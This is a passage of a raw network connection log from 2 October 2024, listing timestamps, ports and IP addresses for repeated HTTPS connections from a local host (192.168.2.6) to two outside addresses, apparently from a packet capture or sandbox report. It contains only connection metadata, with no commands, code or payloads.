Oct 2, 2024 17:17:44.563137054 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563323975 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563364029 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563374043 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563407898 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563415051 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563452005 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563534975 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563575983 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563585997 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563597918 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563611031 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563627958 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563642979 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563725948 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563767910 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563776970 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563790083 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563816071 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563829899 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.595705986 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.595726967 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.595772982 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.595783949 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.595808983 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.595827103 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.596096039 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.596115112 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.596141100 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.596147060 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.596174002 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.596189976 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.596259117 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.596278906 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.596307993 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.596313000 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.596334934 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.596349955 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.650639057 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.650701046 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.650716066 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.650724888 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.650752068 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.650770903 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.650829077 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.650871038 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.650881052 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.650892973 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.650912046 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.650928974 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651005983 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651046991 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651057959 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651077032 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651087999 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651129007 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651209116 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651247978 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651251078 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651304960 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651304960 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651312113 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651343107 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651926994 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651973963 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.651987076 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.651994944 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.652039051 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.683768034 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.683813095 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.683837891 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.683845043 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.683885098 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.683986902 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.684036016 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.684053898 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.684062004 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.684083939 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.684099913 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.684431076 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.684472084 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.684482098 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.684499025 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.684514046 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.684534073 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.737736940 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.737808943 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.737828016 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.737857103 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.737878084 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738106966 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738168001 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738212109 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738224030 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738240957 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738257885 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738272905 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738384962 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738425970 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738430977 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738450050 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738471985 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738488913 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738584042 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738631964 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738662004 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738668919 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.738682032 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738691092 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.738990068 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.739047050 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.739301920 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.739368916 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.152998924 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153059959 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153126001 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153148890 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153176069 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153229952 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153285027 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153302908 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153333902 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153381109 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153392076 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153551102 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153592110 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153626919 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153634071 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153671026 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153806925 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153814077 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153840065 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153872013 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153884888 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153898954 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.153911114 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.153958082 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154098988 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154112101 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154153109 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154170990 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154177904 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154206038 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154262066 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154268980 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154285908 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154319048 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154329062 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154370070 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154371023 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154377937 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154427052 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154742956 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154782057 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154798985 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154809952 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154836893 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154853106 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154918909 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154958963 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.154973984 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.154980898 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155005932 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155014038 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155109882 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155148029 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155168056 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155174971 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155210018 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155210018 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155293941 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155332088 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155352116 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155359030 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155386925 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155395031 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155611992 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155656099 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155674934 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155682087 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155711889 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155730009 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155742884 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.155910969 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.155911922 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.156090975 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.156788111 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.156805038 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.183691025 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.183737993 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.183794975 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.184683084 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.184700012 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.836293936 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.836373091 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.836935043 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.836941004 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.838846922 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.838851929 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:45.838890076 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:45.838896036 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:46.247673035 CEST	65302	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:46.247719049 CEST	443	65302	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:46.247771978 CEST	65302	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:46.248331070 CEST	65302	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:46.248344898 CEST	443	65302	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:47.332659960 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:47.332752943 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:47.332757950 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:47.332993031 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:47.334489107 CEST	443	65302	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:47.334536076 CEST	65301	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:47.334577084 CEST	443	65301	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:47.334589005 CEST	65302	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:50.814378977 CEST	65302	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:50.906492949 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:50.906543970 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:50.906630039 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:50.909312010 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:50.909332991 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:51.915520906 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:51.915605068 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:51.972294092 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:51.972340107 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:51.972704887 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:51.972767115 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:51.974419117 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.019403934 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.463696003 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.463761091 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.463790894 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.463813066 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.463844061 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.463850021 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.463872910 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.463891983 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.521919012 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.521991968 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.522058964 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.522120953 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.522139072 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.522160053 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.527334929 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.527462006 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.527519941 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.527565956 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.527822018 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.527901888 CEST	443	65303	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:52.527956963 CEST	65303	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:52.544287920 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:52.544342995 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:52.544409990 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:52.545013905 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:52.545032024 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:53.204627991 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:53.204716921 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:53.209270000 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:53.209290028 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:53.209628105 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:53.211496115 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:53.213598013 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:53.255404949 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:54.905621052 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:54.905695915 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:54.905698061 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:54.905777931 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:54.907203913 CEST	65304	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:54.907218933 CEST	443	65304	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:54.910373926 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:54.910413027 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:54.910651922 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:54.910900116 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:54.910912037 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:55.580924034 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:55.581067085 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:55.581681013 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:55.581715107 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:55.583786011 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:55.583802938 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.278611898 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.278701067 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.278709888 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.278780937 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.279073000 CEST	65305	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.279097080 CEST	443	65305	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.281045914 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.281080008 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.281157970 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.281486988 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.281497002 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.926103115 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.926178932 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.926760912 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.926772118 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:56.929255009 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:56.929261923 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.616290092 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.616313934 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.616363049 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.616394997 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.616410017 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.616431952 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.616487980 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.616887093 CEST	65306	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.616903067 CEST	443	65306	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.619074106 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.619128942 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:57.619250059 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.619970083 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:57.619980097 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:58.320885897 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:58.320977926 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:58.321497917 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:58.321507931 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:58.323412895 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:58.323417902 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.042731047 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.042844057 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.042907953 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.042923927 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.042943954 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.043004990 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.043011904 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.043061972 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.043271065 CEST	65307	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.043282986 CEST	443	65307	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.045238972 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.045284986 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.045551062 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.045929909 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.045943975 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.690994024 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.691103935 CEST	65308	443	192.168.2.6	49.12.197.9
